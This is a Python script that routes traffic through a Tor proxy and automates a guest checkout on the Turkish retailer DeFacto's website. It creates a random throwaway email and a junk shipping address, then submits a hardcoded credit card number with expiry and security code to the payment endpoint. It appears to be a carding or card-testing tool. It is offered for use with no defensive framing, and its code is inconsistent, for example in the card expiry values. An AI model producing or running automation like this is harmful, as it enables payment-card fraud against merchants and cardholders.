valorant

import requests

with requests.session() as ses:
    proxy = {
        'http': 'socks5://127.0.0.1:9050',
        'https': 'socks5://127.0.0.1:9050',
}
import json
import requests
import random
import string
from bs4 import BeautifulSoup
def random_char(char_num):
                return ''.join(random.choice(string.ascii_letters) for _ in range(char_num))


with requests.session() as ses:
    header = {
        'user-agent' :'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',
        'x-kl-ajax-request' :'Ajax_Request',
        'x-requested-with' :'XMLHttpRequest',
        'accept' :'*/*',
        'refererr' : 'https://www.defacto.com.tr/shopping/payment',
    }
    ses.get("https://www.defacto.com.tr/regular-fit-kapusonlu-triko-uzun-kollu-sweatshirt-2530622",headers=header)
    payloads = {
        "productVariantMatrixId": "ff2fc1bc-12dc-46fd-994e-93fcbe8c85c5",
        "quantity": "1",
    }
    sepeteekle = ses.post("https://www.defacto.com.tr/customer/addtocart",headers=header, data=payloads)
    ses.get("https://www.defacto.com.tr/customer/minibasketitemcount",headers=header)
    ses.get("https://www.defacto.com.tr/shopping",headers=header)
    payloads = {}
    ses.post("https://www.defacto.com.tr/customer/minibasket",headers=header,data=payloads)
    ses.get("https://www.defacto.com.tr/Login/PartialLogin",headers=header)

    email = random_char(5).lower() + "@gmail.com"
    payloads = {
    "GuestRegisterModel.Email": email,
    "GuestRegisterModel.CustomerIsApprovedContract": "true",
    "ReturnUrl": "/",
}
    misafiriz = ses.post("https://www.defacto.com.tr/login/guest",headers=header, data=payloads, allow_redirects=True)
    odemeyegit = ses.get("https://www.defacto.com.tr/shopping/payment",headers=header)
    payloads = {}
    ses.post("https://www.defacto.com.tr/Login/CheckCustomerWithContext",headers=header,data=payloads)
    payloads = {}
    ses.get("https://www.defacto.com.tr/Order/SetShoppingCartOrderType?orderTypeId=b69542e3-a2b8-458d-a8d4-468a4be2ee81",headers=header)
    ses.get("https://www.defacto.com.tr/Customer/GetShoppingSummary",headers=header)
    ses.get("https://www.defacto.com.tr/Customer/GetCustomerCargoList",headers=header)
    ses.get("https://www.defacto.com.tr/Customer/GetAddressList/",headers=header)
    payloads = {}
    ses.post("https://www.defacto.com.tr/Common/GetCargoCountries/", headers=header, data=payloads)
    payloads = {
        "countyId": "e925feda-7243-4d54-b47c-55477bd40d88",
    }
    ses.post("https://www.defacto.com.tr/Common/GetDistricts/",headers=header, data=payloads)
    payloads = {
    "AddressCityId":"71d51d04-a851-42c3-adae-9c0b249b43dd",
    "AddressCountryId":"aa033f1c-ffec-47aa-80d8-60499cd688d7",
    "AddressCountyId":"e925feda-7243-4d54-b47c-55477bd40d88",
    "AddressDistrictId":"002001de-29ca-43a2-b348-9191ca62c605",
    "AddressFirstName":"QWEQW",
    "AddressInvoiceFirmName":"",
    "AddressInvoiceTaxNumber":"",
    "AddressInvoiceTaxOffice":"",
    "AddressInvoiceTypeId":"f23f2a57-86f7-4883-8f45-8047931f86f3",
    "AddressLastName":"eQWEwq",
    "AddressMobilePhone":"0(531) 312 31 23",
    "AddressName":"qweqweqw",
    "AddressPostalCode":"34000",
    "AddressText":"eqeqweqweqeqweqweqwewqewqweewqweq",
    "AddressTypeId":"00000000-0000-0000-0000-000000000000",
    "id":"",
}
    adresguncelle = ses.post("https://www.defacto.com.tr/Customer/AddUpdateAddress/",headers=header, data=payloads)
    ses.get("https://www.defacto.com.tr/Customer/GetAddressList/", headers=header)
    ses.get("https://www.defacto.com.tr/shopping/payment",headers=header)
    ses.get("https://www.defacto.com.tr/Customer/SetCustomerOrderAddress?shippingAddressId=9885b7e0-e817-47c0-be9e-5c214b4bdbe3&billingAddressId=9885b7e0-e817-47c0-be9e-5c214b4bdbe3&cargoLocationId=0ebffe16-ec54-44a7-8b11-5aba288acca5",headers=header)
    ses.get("https://www.defacto.com.tr/Customer/GetShoppingSummary",headers=header)
    payloads = {
        "paymentTypeId":"63263e64-55fd-4bf7-8a38-657692365f3a",
    }
    ses.post("https://www.defacto.com.tr/Customer/SetShoppingCartPaymentType",headers=header, data=payloads)
    payloads = {}
    ses.post("https://www.defacto.com.tr/Shopping/GetPreInformation",headers=header,data=payloads)
    payloads = {}
    ses.post("https://www.defacto.com.tr/Shopping/GetSaleContract",headers=header, data=payloads)
    payloads = {
        "binCode":"40908485",
    }
    kartbinbak = ses.post("https://www.defacto.com.tr/shopping/GetInstallmentListByBinCode",headers=header, data=payloads)
    payloads = {}
    ses.post("https://www.defacto.com.tr/Shopping/GetSaleContract",headers=header, data=payloads)
    payloads = {
        "cardMonth":"2",
        "cardNumber":"4090848587760534",
        "cardToken":"",
        "cardYear":"25",
    }
    ses.post("https://www.defacto.com.tr/shopping/LoyaltyPointInquiry",headers=header,data=payloads)
    payloads = {
        "bankBinCode":"40908485",
        "bankId":"642fa4d9-fd9c-4eb1-bc8f-4615438a9f48",
        "bankPosId":"82d81c7d-275d-4d5c-902c-0e7dc708b424",
        "installmentCount":"1",
    }
    sepetkontrol = ses.post("https://www.defacto.com.tr/Customer/SetShoppingCartInstallment",headers=header,data=payloads)
    ses.get("https://www.defacto.com.tr/Customer/GetShoppingSummary",headers=header)
payloads = {
    "bankInstallmentId": "4d4f35ba-9619-49f9-a539-bef00daaae64",
    "cargoId": "00000000-0000-0000-0000-000000000000",
    "cardNumber": "4090848587760534",
    "expireYear": "24",
    "expireMonth": "4",
    "securityCode": "313",
    "installmentCount": '1',
    "pointAmount": '0',
    "cardToken": ""
}
headers = {
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',
    'x-kl-ajax-request': 'Ajax_Request',
    'x-requested-with': 'XMLHttpRequest',
    'accept': '*/*',
    'refererr': 'https://www.defacto.com.tr/shopping/payment',
}
odemeyap = ses.post("https://www.defacto.com.tr/shopping/DoTransactionCreditCard", headers=headers, data=payloads)
print(odemeyap.text)

#https://www.defacto.com.tr/regular-fit-kapusonlu-triko-uzun-kollu-sweatshirt-2530622
#https://www.defacto.com.tr/shopping/DoTransactionCreditCard